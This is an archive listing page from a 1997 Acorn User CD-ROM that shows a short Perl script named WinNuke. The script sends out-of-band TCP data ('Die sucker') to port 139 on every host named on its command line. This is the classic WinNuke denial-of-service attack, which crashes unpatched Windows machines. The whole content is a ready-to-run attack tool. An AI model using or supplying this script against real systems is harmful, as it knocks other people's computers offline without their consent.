home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Acorn User 10
/
AU_CD10.iso
/
Updates
/
Perl
/
Non-RPC
/
!Perl
/
scripts
/
WinNuke
< prev
next >
Encoding:
Amiga
Atari
Commodore
DOS
FM Towns/JPY
Macintosh
Macintosh JP
Macintosh to JP
NeXTSTEP
RISC OS/Acorn
Shift JIS
UTF-8
Wrap
Text File
|
1997-10-13
|
129 b
|
8 lines
use IO::Socket;
foreach (@ARGV) {
IO::Socket::INET
->new(PeerAddr=>"$_:139",Proto=>'tcp')
->send("Die sucker", MSG_OOB)
}